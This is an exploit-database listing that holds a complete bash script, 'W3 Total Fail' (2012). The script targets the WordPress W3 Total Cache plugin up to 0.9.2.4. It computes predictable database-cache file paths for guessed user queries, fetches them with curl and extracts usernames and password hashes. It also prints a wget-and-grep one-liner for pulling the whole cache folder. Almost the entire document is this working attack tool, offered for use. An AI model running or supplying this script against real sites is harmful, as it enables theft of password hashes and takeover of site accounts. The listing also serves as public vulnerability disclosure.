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WordPress W3 Total Cache Data Disclosure

🗓️ 24 Dec 2012 00:00:00Reported by zx2c4Type 
packetstorm
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WordPress W3 Total Cache Data Disclosure exploit by zx2c4 for guessing SQL queries to obtain password hashes. Affects all W3 Total Cache versions up to 0.9.2.4

Code
`#!/bin/bash  
# (C) Copyright 2012 Jason A. Donenfeld <[email protected]>. All Rights Reserved.  
#  
# |---------------|  
# | W3 Total Fail |  
# | by zx2c4 |  
# |---------------|  
#  
# For more info, see built-in help text.  
# Most up to date version is available at: http://git.zx2c4.com/w3-total-fail/tree/w3-total-fail.sh  
#  
# This affects all current versions of W3 Total Cache up to and including the latest version, 0.9.2.4.  
  
set -f  
  
  
printf "\033[1m\033[31m"  
echo "<===== W3 Total Fail =====>"  
echo "< >"  
echo "< by zx2c4 >"  
echo "< >"  
echo "<=========================>"  
echo  
echo  
printf "\033[0m\033[1m"  
echo "W3 Total Fail works by attempting to guess SQL queries that might"  
echo "contain important password hashes. It walks through"  
printf "\033[0m"  
echo " http://\$wordpress/wp-content/w3tc/dbcache/..."  
printf "\033[1m"  
echo "until it's found the right files. If this directory has directory"  
echo "index listings turned on, you might have more luck downloading the"  
echo "entire folder and grepping locally for patterns, like so:"  
printf "\033[0m"  
echo " \$ wget -np -r http://\$wordpress/wp-content/w3tc/dbcache/"  
echo " \$ grep -Ra user_pass ."  
printf "\033[1m"  
echo "If directory listings are not available, then this is the tool for"  
echo "you, as it will try to brute force possible w3tc keys. It will try"  
echo "25 user ids and 25 site ids. Adjust the script for more or less range."  
echo  
echo "Enjoy!"  
echo  
echo "- zx2c4"  
echo "Dec 24, 2012"  
echo  
printf "\033[0m"  
  
printf "\033[0m\033[36m"  
echo "Usage: $0 HOST [URLBASE] [DBPREFIX]"  
echo  
echo "HOST should be the name of the host that is stored by wordpress. It"  
echo "may be the actual host name of the server, or it might be something"  
echo "different, depending on how wordpress is configured."  
echo "Example: blog.zx2c4.com"  
echo  
echo "URLBASE is the base URL of the wordpress blog which are prefixed in"  
echo "forming HTTP requests. If not specified it will default to http://\$HOST"  
echo "Example: http://blog.zx2c4.com or https://someblahblasite.com/my_blog"  
echo  
echo "DBPREFIX is the wordpress prefix used for database table names. It"  
echo "is often \"wp_\", which DBPREFIX defaults to if this argument is"  
echo "unspecified. Some wordpress installations will use an empty prefix,"  
echo "and others use a site-specific prefix. Most, however, will use the"  
echo "default."  
echo "Example: wp_"  
echo  
printf "\033[0m"  
  
if [ $# -lt 1 ]; then  
echo "Error: HOST is a required argument."  
exit 1  
fi  
  
host="$1"  
urlbase="${2:-http://$host}"  
db_prefix="$3"  
[ $# -lt 3 ] && db_prefix="wp_"  
  
for site_id in {1..25} 0; do for user_id in {1..25}; do  
query="SELECT * FROM ${db_prefix}users WHERE ID = '$user_id'"  
key="w3tc_${host}_${site_id}_sql_$(echo -n "$query"|md5sum|cut -d ' ' -f 1)"  
hash="$(echo -n "$key"|md5sum|cut -d ' ' -f 1)"  
hash_path="${hash:0:1}/${hash:1:1}/${hash:2:1}/${hash}"  
url="$urlbase/wp-content/w3tc/dbcache/$hash_path"  
  
printf "\033[33m"  
echo -n "Attempting"  
printf "\033[0m"  
echo " $url..."  
curl -s "$url" | tail -c +5 | tr -d '\n' | sed -n 's/.*"user_login";s:[0-9]\+:"\([^"]*\)";s:[0-9]\+:"user_pass";s:[0-9]\+:"\([^"]*\)".*/\x1b[1m\x1b[32mUsername: \1\nPassword hash: \2\x1b[0m\n/p'  
  
done; done  
`

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24 Dec 2012 00:00Current
7.4High risk
Vulners AI Score7.4
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